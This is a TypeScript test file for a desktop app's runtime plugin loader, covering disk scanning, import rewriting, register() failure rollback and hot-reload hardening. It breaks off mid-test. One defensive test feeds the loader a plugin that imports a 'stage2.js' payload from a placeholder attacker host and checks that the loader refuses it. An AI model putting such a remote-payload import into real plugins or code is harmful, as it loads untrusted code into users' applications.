Files
hermes-agent/apps/desktop/src/contrib/runtime-loader.test.ts
liuhao1024 805ddfba5c fix(desktop): tolerate a throwing disposer so a failed plugin load cannot wedge the registry
A disposer with its own bug aborted the bare forEach in both
unloadRuntimePlugin() and failRegistration(), stranding the
loaded.delete() behind it. The registration stayed held, so every
later reload re-ran the same broken disposers and died before the
fresh register() — file edits looked inert until an app restart
(#126338).

Release the record first and run each disposer in its own try/catch;
failRegistration() now reuses unloadRuntimePlugin() so the rollback
path is tolerant the same way.
2026-09-28 20:29:49 -05:00

1190 lines
42 KiB
TypeScript

import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import type { HermesReadDirResult } from '@/global'
import type * as HermesModule from '@/hermes'
import { emitGatewayEvent } from './events'
import { $pluginRecords, publishPlugin, setPluginEnabled } from './plugins-store'
import {
discoverRuntimePlugins,
loadRuntimePlugin,
uninstallDiskPlugin,
unloadRuntimePlugin,
watchRuntimePlugins
} from './runtime-loader'
// getStatus would supply the connected backend's hermes_home — a REMOTE path in
// remote mode. The disk scanner must NOT derive the plugin root from it (#66899).
const getStatus = vi.fn(async () => ({ hermes_home: '/remote/box/.hermes' }))
vi.mock('@/hermes', async importActual => ({
...(await importActual<typeof HermesModule>()),
getStatus: () => getStatus()
}))
const desktopPluginsRoot = vi.fn<() => Promise<string>>()
const readDir = vi.fn<(path: string) => Promise<HermesReadDirResult>>()
const readFileText = vi.fn<(path: string) => Promise<{ text: string; truncated?: boolean }>>()
const readPluginSource = vi.fn<(path: string) => Promise<{ text: string; truncated?: boolean }>>()
const watchDirectory = vi.fn<(path: string) => Promise<{ id: string }>>()
const watchPreviewFile = vi.fn<(path: string) => Promise<{ id: string }>>()
const stopPreviewFileWatch = vi.fn<(id: string) => Promise<boolean>>()
const onPreviewFileChanged = vi.fn()
beforeEach(() => {
desktopPluginsRoot.mockReset()
readDir.mockReset()
readFileText.mockReset()
readPluginSource.mockReset()
watchDirectory.mockReset()
watchPreviewFile.mockReset()
stopPreviewFileWatch.mockReset()
stopPreviewFileWatch.mockResolvedValue(true)
onPreviewFileChanged.mockReset()
getStatus.mockClear()
;(window as unknown as { hermesDesktop: unknown }).hermesDesktop = {
desktopPluginsRoot,
onPreviewFileChanged,
readDir,
readFileText,
stopPreviewFileWatch,
watchDirectory,
watchPreviewFile
}
})
afterEach(() => {
delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
})
describe('scanDiskPlugins (#66899)', () => {
it('scans the Electron-resolved local roots, never the backend hermes_home', async () => {
desktopPluginsRoot.mockResolvedValue('/local/.hermes/desktop-plugins')
readDir.mockResolvedValue({ entries: [] })
await discoverRuntimePlugins()
expect(desktopPluginsRoot).toHaveBeenCalled()
expect(readDir).toHaveBeenCalledWith('/local/.hermes/desktop-plugins')
// Unified halves are COPIED into the app root by Electron; the renderer
// never scans the (profile-shaped) agent-plugins root itself.
expect(readDir).not.toHaveBeenCalledWith('/local/.hermes/plugins')
// The remote backend's hermes_home must never feed the local plugin scan.
expect(getStatus).not.toHaveBeenCalled()
expect(readDir).not.toHaveBeenCalledWith('/remote/box/.hermes/desktop-plugins')
})
it('no-ops when the resolvers yield no local root', async () => {
desktopPluginsRoot.mockResolvedValue('')
await discoverRuntimePlugins()
expect(readDir).not.toHaveBeenCalled()
})
it('treats a folder without plugin.js as metadata, not a throwing file read', async () => {
desktopPluginsRoot.mockResolvedValue('/local/.hermes/desktop-plugins')
readDir.mockImplementation(async dir => {
if (dir === '/local/.hermes/desktop-plugins') {
return {
entries: [{ isDirectory: true, name: 'my-feature', path: '/local/.hermes/desktop-plugins/my-feature' }]
}
}
if (dir === '/local/.hermes/desktop-plugins/my-feature') {
return {
entries: [
{ isDirectory: false, name: 'README.md', path: '/local/.hermes/desktop-plugins/my-feature/README.md' }
]
}
}
return { entries: [] }
})
await discoverRuntimePlugins()
expect(readDir).toHaveBeenCalledWith('/local/.hermes/desktop-plugins/my-feature')
expect(readFileText).not.toHaveBeenCalled()
})
it('a DIRECTORY named plugin.js is not a plugin entry (metadata walk rejects it)', async () => {
desktopPluginsRoot.mockResolvedValue('/local/.hermes/desktop-plugins')
readDir.mockImplementation(async dir => {
if (dir === '/local/.hermes/desktop-plugins') {
return { entries: [{ isDirectory: true, name: 'odd', path: '/local/.hermes/desktop-plugins/odd' }] }
}
if (dir === '/local/.hermes/desktop-plugins/odd') {
// A folder literally named plugin.js — must resolve to "no entry".
return {
entries: [{ isDirectory: true, name: 'plugin.js', path: '/local/.hermes/desktop-plugins/odd/plugin.js' }]
}
}
return { entries: [] }
})
await discoverRuntimePlugins()
expect(readFileText).not.toHaveBeenCalled()
expect($pluginRecords.get().odd).toBeUndefined()
})
it('loads a unified desktop half (app-root copy + package marker) OPT-IN and tags it with its package', async () => {
desktopPluginsRoot.mockResolvedValue('/local/.hermes/desktop-plugins')
let desktopEntryPresent = true
const root = '/local/.hermes/desktop-plugins'
readDir.mockImplementation(async dir => {
if (dir === root) {
return { entries: desktopEntryPresent ? [{ isDirectory: true, name: 'uni', path: `${root}/uni` }] : [] }
}
if (dir === `${root}/uni`) {
return {
entries: [
{ isDirectory: false, name: '.hermes-package.json', path: `${root}/uni/.hermes-package.json` },
{ isDirectory: false, name: 'plugin.js', path: `${root}/uni/plugin.js` }
]
}
}
return { entries: [] }
})
const register = vi.fn()
;(globalThis as unknown as { __uniRegister: unknown }).__uniRegister = register
readFileText.mockImplementation(async file =>
file.endsWith('.hermes-package.json')
? { text: JSON.stringify({ package: 'uni-pkg', source: '/x/plugins/uni-pkg/desktop', sourceMtimeMs: 1 }) }
: { text: 'export default { id: "uni", register: globalThis.__uniRegister }' }
)
watchPreviewFile.mockResolvedValue({ id: 'w-uni' })
// The loader evaluates plugins via blob-URL import(), which vite's module
// runner can't resolve in tests — reroute to a data: URL, which node's
// native ESM loader handles.
const createObjectURL = vi
.spyOn(URL, 'createObjectURL')
.mockImplementation(
blob =>
`data:text/javascript;base64,${Buffer.from((blob as unknown as { parts: string[] }).parts.join('')).toString('base64')}`
)
const revokeObjectURL = vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => undefined)
const RealBlob = globalThis.Blob
vi.stubGlobal(
'Blob',
class {
parts: string[]
constructor(parts: string[]) {
this.parts = parts
}
}
)
try {
await discoverRuntimePlugins()
// Inventoried for Capabilities → Plugins with its package identity, but
// the unified posture wins: installed-but-inert until the user toggles.
expect($pluginRecords.get().uni).toMatchObject({ kind: 'disk', status: 'disabled', packageName: 'uni-pkg' })
expect(register).not.toHaveBeenCalled()
// The user's explicit enable still activates it.
await setPluginEnabled('uni', true)
expect(register).toHaveBeenCalledTimes(1)
expect($pluginRecords.get().uni.status).toBe('loaded')
// Electron removing the copy (package uninstalled) unloads the previous
// Desktop registration instead of leaving a live ghost behind.
desktopEntryPresent = false
await discoverRuntimePlugins()
expect($pluginRecords.get().uni).toBeUndefined()
expect(stopPreviewFileWatch).toHaveBeenCalledWith('w-uni')
} finally {
createObjectURL.mockRestore()
revokeObjectURL.mockRestore()
vi.stubGlobal('Blob', RealBlob)
delete (globalThis as unknown as { __uniRegister?: unknown }).__uniRegister
}
})
})
describe('watchRuntimePlugins dir watch (#66899)', () => {
it('watches the Electron-resolved app root, never the backend hermes_home', async () => {
desktopPluginsRoot.mockResolvedValue('/local/.hermes/desktop-plugins')
readDir.mockResolvedValue({ entries: [] })
watchDirectory.mockResolvedValue({ id: 'watch-1' })
watchRuntimePlugins()
// Drain the async scan + startDirWatches chains.
await vi.waitFor(() => expect(watchDirectory).toHaveBeenCalledTimes(1))
expect(watchDirectory).toHaveBeenCalledWith('/local/.hermes/desktop-plugins')
expect(watchDirectory).not.toHaveBeenCalledWith('/remote/box/.hermes/desktop-plugins')
expect(getStatus).not.toHaveBeenCalled()
})
})
describe('plugin source reads (512 KiB preview-cap bug)', () => {
const blobToDataUrl = () => {
const createObjectURL = vi
.spyOn(URL, 'createObjectURL')
.mockImplementation(
blob =>
`data:text/javascript;base64,${Buffer.from((blob as unknown as { parts: string[] }).parts.join('')).toString('base64')}`
)
const revokeObjectURL = vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => undefined)
const RealBlob = globalThis.Blob
vi.stubGlobal(
'Blob',
class {
parts: string[]
constructor(parts: string[]) {
this.parts = parts
}
}
)
return () => {
createObjectURL.mockRestore()
revokeObjectURL.mockRestore()
vi.stubGlobal('Blob', RealBlob)
}
}
/** Two-level standalone-root listing the metadata-walk probe needs:
* the root lists the package folder, the folder lists plugin.js. */
const standaloneRootWith = (name: string) => {
const folder = `/local/.hermes/desktop-plugins/${name}`
readDir.mockImplementation(async dir => {
if (dir === '/local/.hermes/desktop-plugins') {
return { entries: [{ isDirectory: true, name, path: folder }] }
}
if (dir === folder) {
return { entries: [{ isDirectory: false, name: 'plugin.js', path: `${folder}/plugin.js` }] }
}
return { entries: [] }
})
}
it('loads the full source via readPluginSource when the shell offers it', async () => {
;(window.hermesDesktop as unknown as { readPluginSource: unknown }).readPluginSource = readPluginSource
desktopPluginsRoot.mockResolvedValue('/local/.hermes/desktop-plugins')
standaloneRootWith('big')
// The preview read would truncate this source — it must never be used.
readFileText.mockResolvedValue({ text: '// first 512 KiB only', truncated: true })
const register = vi.fn()
;(globalThis as unknown as { __bigRegister: unknown }).__bigRegister = register
readPluginSource.mockResolvedValue({
text: 'export default { id: "big", register: globalThis.__bigRegister }'
})
watchPreviewFile.mockResolvedValue({ id: 'w-big' })
const restore = blobToDataUrl()
try {
await discoverRuntimePlugins()
// The EVALUATED source came from the full read, not the truncated preview.
expect(readPluginSource).toHaveBeenCalledWith('/local/.hermes/desktop-plugins/big/plugin.js')
expect(register).toHaveBeenCalledTimes(1)
expect($pluginRecords.get().big).toMatchObject({ kind: 'disk', status: 'loaded' })
} finally {
restore()
delete (globalThis as unknown as { __bigRegister?: unknown }).__bigRegister
}
})
it('older shell without readPluginSource: a truncated preview read fails LOUDLY, never evaluates', async () => {
desktopPluginsRoot.mockResolvedValue('/local/.hermes/desktop-plugins')
standaloneRootWith('huge')
// 512 KiB window of a larger file — parses fine, but is NOT the plugin.
readFileText.mockResolvedValue({
text: 'export default { id: "huge", register: () => { throw new Error("must never evaluate") } }',
truncated: true
})
watchPreviewFile.mockResolvedValue({ id: 'w-huge' })
const restore = blobToDataUrl()
try {
await discoverRuntimePlugins()
// No live plugin — an error inventory row names the folder instead.
expect($pluginRecords.get().huge).toMatchObject({
kind: 'disk',
status: 'error',
file: '/local/.hermes/desktop-plugins/huge/plugin.js'
})
expect($pluginRecords.get().huge.error).toMatch(/512 KiB/)
} finally {
restore()
}
})
it('older shell, small plugin (not truncated): still loads through readFileText', async () => {
desktopPluginsRoot.mockResolvedValue('/local/.hermes/desktop-plugins')
standaloneRootWith('small')
const register = vi.fn()
;(globalThis as unknown as { __smallRegister: unknown }).__smallRegister = register
readFileText.mockResolvedValue({
text: 'export default { id: "small", register: globalThis.__smallRegister }'
})
watchPreviewFile.mockResolvedValue({ id: 'w-small' })
const restore = blobToDataUrl()
try {
await discoverRuntimePlugins()
expect(register).toHaveBeenCalledTimes(1)
expect($pluginRecords.get().small).toMatchObject({ kind: 'disk', status: 'loaded' })
} finally {
restore()
delete (globalThis as unknown as { __smallRegister?: unknown }).__smallRegister
}
})
it('disposes runtime host event subscriptions before a hot reload (#112366)', async () => {
const restore = blobToDataUrl()
const marker = '__runtimeEventReloadCount'
const counters = globalThis as unknown as Record<string, number | undefined>
counters[marker] = 0
try {
const source = `
import { host } from '@hermes/plugin-sdk'
export default {
id: 'runtime-event-reload',
register() {
host.onEvent('bot_relay.outbox.pending', () => { globalThis.${marker}++ })
}
}
`
await loadRuntimePlugin(source, 'first runtime event registration')
await loadRuntimePlugin(source, 'second runtime event registration')
emitGatewayEvent({ type: 'bot_relay.outbox.pending' } as never)
expect(counters[marker]).toBe(1)
unloadRuntimePlugin('runtime-event-reload')
emitGatewayEvent({ type: 'bot_relay.outbox.pending' } as never)
expect(counters[marker]).toBe(1)
} finally {
unloadRuntimePlugin('runtime-event-reload')
delete counters[marker]
restore()
}
})
})
describe('uninstallDiskPlugin (Plugins hub trash button)', () => {
const removeDesktopPlugin = vi.fn<(payload: { name: string }) => Promise<{ ok: boolean; error?: string }>>()
const blobToDataUrl = () => {
const createObjectURL = vi
.spyOn(URL, 'createObjectURL')
.mockImplementation(
blob =>
`data:text/javascript;base64,${Buffer.from((blob as unknown as { parts: string[] }).parts.join('')).toString('base64')}`
)
const revokeObjectURL = vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => undefined)
const RealBlob = globalThis.Blob
vi.stubGlobal(
'Blob',
class {
parts: string[]
constructor(parts: string[]) {
this.parts = parts
}
}
)
return () => {
createObjectURL.mockRestore()
revokeObjectURL.mockRestore()
vi.stubGlobal('Blob', RealBlob)
}
}
/** One standalone folder `gone-soon` at the root, loaded as plugin id `gone`. */
const seedStandalone = async () => {
const root = '/local/.hermes/desktop-plugins'
desktopPluginsRoot.mockResolvedValue(root)
readDir.mockImplementation(async dir => {
if (dir === root) {
return { entries: [{ isDirectory: true, name: 'gone-soon', path: `${root}/gone-soon` }] }
}
if (dir === `${root}/gone-soon`) {
return { entries: [{ isDirectory: false, name: 'plugin.js', path: `${root}/gone-soon/plugin.js` }] }
}
return { entries: [] }
})
readFileText.mockResolvedValue({ text: 'export default { id: "gone", register() {} }' })
watchPreviewFile.mockResolvedValue({ id: 'w-gone' })
removeDesktopPlugin.mockReset()
;(window.hermesDesktop as unknown as { removeDesktopPlugin: unknown }).removeDesktopPlugin = removeDesktopPlugin
await discoverRuntimePlugins()
expect($pluginRecords.get().gone).toMatchObject({ kind: 'disk', status: 'loaded' })
}
it('asks Electron to delete the FOLDER by name, then retires the registration and its watch', async () => {
const restore = blobToDataUrl()
try {
await seedStandalone()
removeDesktopPlugin.mockResolvedValue({ ok: true })
expect(await uninstallDiskPlugin('gone')).toEqual({ ok: true })
// The folder name, never a path — Electron resolves it under the root.
expect(removeDesktopPlugin).toHaveBeenCalledWith({ name: 'gone-soon' })
expect($pluginRecords.get().gone).toBeUndefined()
expect(stopPreviewFileWatch).toHaveBeenCalledWith('w-gone')
} finally {
restore()
unloadRuntimePlugin('gone')
}
})
it('keeps the plugin loaded and reports the reason when Electron refuses', async () => {
const restore = blobToDataUrl()
try {
await seedStandalone()
removeDesktopPlugin.mockResolvedValue({ ok: false, error: 'gone-soon is not inside the desktop-plugins folder' })
expect(await uninstallDiskPlugin('gone')).toEqual({
ok: false,
error: 'gone-soon is not inside the desktop-plugins folder'
})
expect($pluginRecords.get().gone).toMatchObject({ kind: 'disk', status: 'loaded' })
// Unknown ids never reach the bridge.
expect(await uninstallDiskPlugin('never-installed')).toMatchObject({ ok: false })
expect(removeDesktopPlugin).toHaveBeenCalledTimes(1)
} finally {
restore()
removeDesktopPlugin.mockResolvedValue({ ok: true })
await uninstallDiskPlugin('gone')
}
})
})
describe('bundled-shadowed disk copies', () => {
it('skips a disk copy of a bundled plugin but publishes a visible inventory row', async () => {
// The bundled twin is already registered (build-time glob).
publishPlugin({ id: 'hermes-bots', name: 'Bot Mode', kind: 'bundled', status: 'loaded' })
// Same blob→data: URL reroute as the opt-in test above.
const createObjectURL = vi
.spyOn(URL, 'createObjectURL')
.mockImplementation(
blob =>
`data:text/javascript;base64,${Buffer.from((blob as unknown as { parts: string[] }).parts.join('')).toString('base64')}`
)
const revokeObjectURL = vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => undefined)
const RealBlob = globalThis.Blob
vi.stubGlobal(
'Blob',
class {
parts: string[]
constructor(parts: string[]) {
this.parts = parts
}
}
)
try {
const id = await loadRuntimePlugin(
'export default { id: "hermes-bots", name: "Bot Mode", register() {} }',
'hermes-bots',
{ file: '/local/.hermes/desktop-plugins/hermes-bots/plugin.js' }
)
// Skipped — the bundled copy stays the only live registration...
expect(id).toBeNull()
expect($pluginRecords.get()['hermes-bots']).toMatchObject({ kind: 'bundled', status: 'loaded' })
// ...but the stale folder is DISCOVERABLE: an inventory row names it,
// carries its path (reveal/delete affordance), and can never activate.
expect($pluginRecords.get()['hermes-bots:disk-shadowed']).toMatchObject({
kind: 'disk',
status: 'disabled',
file: '/local/.hermes/desktop-plugins/hermes-bots/plugin.js'
})
} finally {
createObjectURL.mockRestore()
revokeObjectURL.mockRestore()
vi.stubGlobal('Blob', RealBlob)
}
})
})
describe('specifier scanning is limited to code (strings/comments never load-block)', () => {
// Same blob→data: URL reroute as the suites above: the loader evaluates the
// rewritten source through URL.createObjectURL.
const withBlobReroute = () => {
const createObjectURL = vi
.spyOn(URL, 'createObjectURL')
.mockImplementation(
blob =>
`data:text/javascript;base64,${Buffer.from((blob as unknown as { parts: string[] }).parts.join('')).toString('base64')}`
)
const revokeObjectURL = vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => undefined)
const RealBlob = globalThis.Blob
vi.stubGlobal(
'Blob',
class {
parts: string[]
constructor(parts: string[]) {
this.parts = parts
}
}
)
return () => {
createObjectURL.mockRestore()
revokeObjectURL.mockRestore()
vi.stubGlobal('Blob', RealBlob)
}
}
it('loads a plugin whose own copy ends a sentence with "from"', async () => {
// The specifier regex reads `from '` as an import specifier — a label like
// 'Copy keys from' must not be load-blocked for it.
const restore = withBlobReroute()
try {
const register = vi.fn()
;(globalThis as unknown as { __copyFromRegister: unknown }).__copyFromRegister = register
const id = await loadRuntimePlugin(
"const label = 'Copy keys from'\nexport default { id: 'copy-from', register: globalThis.__copyFromRegister }",
'copy-from'
)
expect(id).toBe('copy-from')
expect(register).toHaveBeenCalledTimes(1)
expect($pluginRecords.get()['copy-from']).toMatchObject({ status: 'loaded' })
} finally {
unloadRuntimePlugin('copy-from')
delete (globalThis as unknown as { __copyFromRegister?: unknown }).__copyFromRegister
restore()
}
})
it('loads a plugin whose comment mentions an import', async () => {
const restore = withBlobReroute()
try {
const id = await loadRuntimePlugin(
"// old docs said: import 'left-pad' here\nexport default { id: 'comment-import', register() {} }",
'comment-import'
)
expect(id).toBe('comment-import')
} finally {
unloadRuntimePlugin('comment-import')
restore()
}
})
it('still rejects a real unmapped import', async () => {
const restore = withBlobReroute()
try {
const id = await loadRuntimePlugin(
"import 'left-pad'\nexport default { id: 'real-bare', register() {} }",
'real-bare'
)
expect(id).toBeNull()
expect($pluginRecords.get()['real-bare']).toMatchObject({ status: 'error' })
expect($pluginRecords.get()['real-bare']?.error).toContain('unsupported import')
} finally {
restore()
}
})
it('never rewrites a mapped specifier quoted inside a string', async () => {
// Rewriting is for real imports only; a string that documents the import
// form must reach the plugin verbatim (it used to become a blob URL).
const restore = withBlobReroute()
try {
;(globalThis as unknown as { __captured?: string }).__captured = undefined
const id = await loadRuntimePlugin(
`const doc = "from '@hermes/plugin-sdk'"
export default { id: 'quoted-spec', register: () => { globalThis.__captured = doc } }`,
'quoted-spec'
)
expect(id).toBe('quoted-spec')
expect((globalThis as unknown as { __captured?: string }).__captured).toBe("from '@hermes/plugin-sdk'")
} finally {
unloadRuntimePlugin('quoted-spec')
delete (globalThis as unknown as { __captured?: string }).__captured
restore()
}
})
it('a backtick inside a regex literal does not flip code/string classification (#120208)', async () => {
// The regex backtick must not open a template: the react import after it
// stays code and is rewritten to the shim, not left bare.
const restore = withBlobReroute()
try {
const id = await loadRuntimePlugin(
"const backtick = /`/\nimport { useState } from 'react'\nconst label = `ok`\nexport default { id: 'repro', register() { void useState; void label; void backtick } }",
'repro'
)
expect(id).toBe('repro')
expect($pluginRecords.get()['repro']).toMatchObject({ status: 'loaded' })
} finally {
unloadRuntimePlugin('repro')
restore()
}
})
it('rewrites imports after the entities htmlReplacer regex (#120208)', async () => {
// entities 6.0.1 encode.js (via the hermes-toolsmith bundle): the
// character class contains a backtick, then SDK/react imports follow.
const restore = withBlobReroute()
try {
const id = await loadRuntimePlugin(
"var htmlReplacer = /[\\t\\n\\f!-,./:-@[-`{-}\\^@-\\uFFFF]/g;\nimport { host } from '@hermes/plugin-sdk'\nconst label = `ok`\nexport default { id: 'entities-re', register() { void host; void label; void htmlReplacer } }",
'entities-re'
)
expect(id).toBe('entities-re')
expect($pluginRecords.get()['entities-re']).toMatchObject({ status: 'loaded' })
} finally {
unloadRuntimePlugin('entities-re')
restore()
}
})
it('divisions stay code: imports after real division still rewrite (#120208)', async () => {
// The other direction: `/` between two values is a division, not a
// pattern, so the import below must still be seen and rewritten.
const restore = withBlobReroute()
try {
const id = await loadRuntimePlugin(
"const total = 10, count = 4, earned = 6\nconst half = total / count + earned / 2\nimport { host } from '@hermes/plugin-sdk'\nconst label = `n=${half}`\nexport default { id: 'division', register() { void host; void label } }",
'division'
)
expect(id).toBe('division')
expect($pluginRecords.get()['division']).toMatchObject({ status: 'loaded' })
} finally {
unloadRuntimePlugin('division')
restore()
}
})
it('does not read import syntax inside a regex literal (#120208)', async () => {
// A regex body is not code: `from 'react'` inside it must not be
// rewritten in place (which would corrupt the pattern).
const restore = withBlobReroute()
try {
;(globalThis as unknown as { __capturedRe?: unknown }).__capturedRe = undefined
const id = await loadRuntimePlugin(
"const re = /from 'react'/\nexport default { id: 'regex-spec', register: () => { globalThis.__capturedRe = re.source } }",
'regex-spec'
)
expect(id).toBe('regex-spec')
expect((globalThis as unknown as { __capturedRe?: string }).__capturedRe).toBe("from 'react'")
} finally {
unloadRuntimePlugin('regex-spec')
delete (globalThis as unknown as { __capturedRe?: unknown }).__capturedRe
restore()
}
})
it('still rewrites a real mapped import', async () => {
// The fix must not swing the other way: the SDK import is the load path.
const restore = withBlobReroute()
try {
const id = await loadRuntimePlugin(
"import { host } from '@hermes/plugin-sdk'\nexport default { id: 'real-mapped', register() { void host } }",
'real-mapped'
)
expect(id).toBe('real-mapped')
expect($pluginRecords.get()['real-mapped']).toMatchObject({ status: 'loaded' })
} finally {
unloadRuntimePlugin('real-mapped')
restore()
}
})
})
describe('register() failure isolation', () => {
const withBlobReroute = () => {
const createObjectURL = vi
.spyOn(URL, 'createObjectURL')
.mockImplementation(
blob =>
`data:text/javascript;base64,${Buffer.from((blob as unknown as { parts: string[] }).parts.join('')).toString('base64')}`
)
const revokeObjectURL = vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => undefined)
const RealBlob = globalThis.Blob
vi.stubGlobal(
'Blob',
class {
parts: string[]
constructor(parts: string[]) {
this.parts = parts
}
}
)
return () => {
createObjectURL.mockRestore()
revokeObjectURL.mockRestore()
vi.stubGlobal('Blob', RealBlob)
}
}
it('a throwing register() rolls back its partial registrations and reports the error on the plugin row', async () => {
const restore = withBlobReroute()
const marker = '__registerThrowHits'
const counters = globalThis as unknown as Record<string, number | undefined>
counters[marker] = 0
try {
const source = `
import { host } from '@hermes/plugin-sdk'
export default {
id: 'register-throw',
register() {
host.onEvent('bot_relay.outbox.pending', () => { globalThis.${marker}++ })
throw new Error('register boom')
}
}
`
await loadRuntimePlugin(source, 'register-throw-folder')
// The listener registered before the throw is disposed, not orphaned.
emitGatewayEvent({ type: 'bot_relay.outbox.pending' } as never)
expect(counters[marker]).toBe(0)
// The failure lands on the plugin's own row so the Plugins tab shows it.
expect($pluginRecords.get()['register-throw']).toMatchObject({ status: 'error', error: 'register boom' })
// Re-enabling neither rejects nor accumulates a second orphan.
await expect(setPluginEnabled('register-throw', true)).resolves.toBeUndefined()
emitGatewayEvent({ type: 'bot_relay.outbox.pending' } as never)
expect(counters[marker]).toBe(0)
expect($pluginRecords.get()['register-throw']).toMatchObject({ status: 'error' })
} finally {
unloadRuntimePlugin('register-throw')
delete counters[marker]
restore()
}
})
it('an async register() rejection is reported on the plugin row instead of leaving it "loaded"', async () => {
const restore = withBlobReroute()
try {
await loadRuntimePlugin(
"export default { id: 'async-reject', async register() { throw new Error('late boom') } }",
'async-reject'
)
await vi.waitFor(() =>
expect($pluginRecords.get()['async-reject']).toMatchObject({ status: 'error', error: 'late boom' })
)
} finally {
unloadRuntimePlugin('async-reject')
restore()
}
})
it('a rollback disposer that throws cannot wedge the registry: the fixed source still reloads (#126338)', async () => {
const restore = withBlobReroute()
const counters = globalThis as unknown as Record<string, number | undefined>
counters.__wedgeFixedRegister = 0
try {
// v1: register() fails midway AND the disposer rolling it back throws
// too — the plugin's own cleanup path is buggy.
await loadRuntimePlugin(
`export default {
id: 'wedge-reload',
register(ctx) {
ctx.onDispose(() => { throw new Error('dispose boom') })
throw new Error('register boom')
}
}`,
'wedge-reload'
)
// The row reports the registration failure, not the rollback's.
expect($pluginRecords.get()['wedge-reload']).toMatchObject({ status: 'error', error: 'register boom' })
// v2: the file is fixed. The reload must reach the fresh register()
// instead of dying re-running the previous incarnation's broken
// disposer — the wedge that made every edit look inert until an app
// restart.
const id = await loadRuntimePlugin(
`export default { id: 'wedge-reload', register() { globalThis.__wedgeFixedRegister++ } }`,
'wedge-reload'
)
expect(id).toBe('wedge-reload')
expect(counters.__wedgeFixedRegister).toBe(1)
expect($pluginRecords.get()['wedge-reload']).toMatchObject({ status: 'loaded' })
} finally {
unloadRuntimePlugin('wedge-reload')
delete counters.__wedgeFixedRegister
restore()
}
})
it('unloadRuntimePlugin releases the registration even when a disposer throws (#126338)', async () => {
const restore = withBlobReroute()
const counters = globalThis as unknown as Record<string, number | undefined>
counters.__throwingDisposerLoads = 0
try {
await loadRuntimePlugin(
`export default {
id: 'throwing-disposer',
register(ctx) {
ctx.onDispose(() => { throw new Error('dispose boom') })
globalThis.__throwingDisposerLoads++
}
}`,
'throwing-disposer'
)
expect($pluginRecords.get()['throwing-disposer']).toMatchObject({ status: 'loaded' })
expect(() => unloadRuntimePlugin('throwing-disposer')).not.toThrow()
// The registration was released — reloading registers fresh instead of
// tripping over the retained disposer list.
const id = await loadRuntimePlugin(
`export default { id: 'throwing-disposer', register() { globalThis.__throwingDisposerLoads++ } }`,
'throwing-disposer'
)
expect(id).toBe('throwing-disposer')
expect(counters.__throwingDisposerLoads).toBe(2)
expect($pluginRecords.get()['throwing-disposer']).toMatchObject({ status: 'loaded' })
} finally {
unloadRuntimePlugin('throwing-disposer')
delete counters.__throwingDisposerLoads
restore()
}
})
})
describe('remote static imports are refused (catalog trust)', () => {
it('rejects a static URL-scheme import before evaluation', async () => {
const importer = vi.fn()
const id = await loadRuntimePlugin(
"import 'https://attacker.example/stage2.js'\nexport default { id: 'remote-import', register() {} }",
'remote-import'
)
expect(id).toBeNull()
expect(importer).not.toHaveBeenCalled()
expect($pluginRecords.get()['remote-import']).toMatchObject({ status: 'error' })
expect($pluginRecords.get()['remote-import']?.error).toContain('unsupported import')
})
})
describe('loader hardening: hangs, leaks, duplicate ids, stale incarnations', () => {
const root = '/local/.hermes/desktop-plugins'
const counters = globalThis as unknown as Record<string, number | undefined>
const withBlobReroute = () => {
const createObjectURL = vi
.spyOn(URL, 'createObjectURL')
.mockImplementation(
blob =>
`data:text/javascript;base64,${Buffer.from((blob as unknown as { parts: string[] }).parts.join('')).toString('base64')}`
)
const revokeObjectURL = vi.spyOn(URL, 'revokeObjectURL').mockImplementation(() => undefined)
const RealBlob = globalThis.Blob
vi.stubGlobal(
'Blob',
class {
parts: string[]
constructor(parts: string[]) {
this.parts = parts
}
}
)
return () => {
createObjectURL.mockRestore()
revokeObjectURL.mockRestore()
vi.stubGlobal('Blob', RealBlob)
}
}
/** Root listing of standalone folders (listed in the given order) whose
* plugin.js text comes from `sources[folder]`. */
const rootWith = (sources: Record<string, () => string>, order = Object.keys(sources)) => {
desktopPluginsRoot.mockResolvedValue(root)
readDir.mockImplementation(async dir => {
if (dir === root) {
return { entries: order.map(name => ({ isDirectory: true, name, path: `${root}/${name}` })) }
}
const name = order.find(folder => dir === `${root}/${folder}`)
return name
? { entries: [{ isDirectory: false, name: 'plugin.js', path: `${root}/${name}/plugin.js` }] }
: { entries: [] }
})
readFileText.mockImplementation(async file => ({ text: sources[file.split('/').at(-2)!]() }))
watchPreviewFile.mockImplementation(async file => ({ id: `w-${file}` }))
}
/** Yield until the loader has armed its import deadline (the scan reaches
* `import()` through a chain of awaited mocks, all microtasks). */
const untilTimerArmed = async () => {
for (let i = 0; i < 1_000 && vi.getTimerCount() === 0; i += 1) {
await Promise.resolve()
}
}
afterEach(() => {
vi.useRealTimers()
})
it('a plugin whose import never settles times out as ITS error; the rest of the scan still loads', async () => {
const restore = withBlobReroute()
vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] })
counters.__afterHangRegister = 0
try {
rootWith({
'aaa-hang': () => 'await new Promise(() => {})\nexport default { id: "hang", register() {} }',
'bbb-ok': () => 'export default { id: "after-hang", register() { globalThis.__afterHangRegister++ } }'
})
const scan = discoverRuntimePlugins()
await untilTimerArmed()
await vi.advanceTimersByTimeAsync(10_000)
await scan
expect($pluginRecords.get()['aaa-hang']).toMatchObject({ status: 'error', file: `${root}/aaa-hang/plugin.js` })
expect($pluginRecords.get()['aaa-hang']?.error).toMatch(/import timed out/)
expect(counters.__afterHangRegister).toBe(1)
expect($pluginRecords.get()['after-hang']).toMatchObject({ status: 'loaded' })
} finally {
unloadRuntimePlugin('after-hang')
delete counters.__afterHangRegister
restore()
}
})
it('ctx.setInterval / ctx.addEventListener registrations die with the plugin on unload', async () => {
const restore = withBlobReroute()
vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'setInterval', 'clearInterval'] })
counters.__scopedTicks = 0
counters.__scopedEvents = 0
try {
await loadRuntimePlugin(
`export default {
id: 'scoped-lifetime',
register(ctx) {
ctx.setInterval(() => { globalThis.__scopedTicks++ }, 1000)
ctx.addEventListener(window, 'hermes-probe', () => { globalThis.__scopedEvents++ })
}
}`,
'scoped-lifetime'
)
expect($pluginRecords.get()['scoped-lifetime']).toMatchObject({ status: 'loaded' })
await vi.advanceTimersByTimeAsync(3_000)
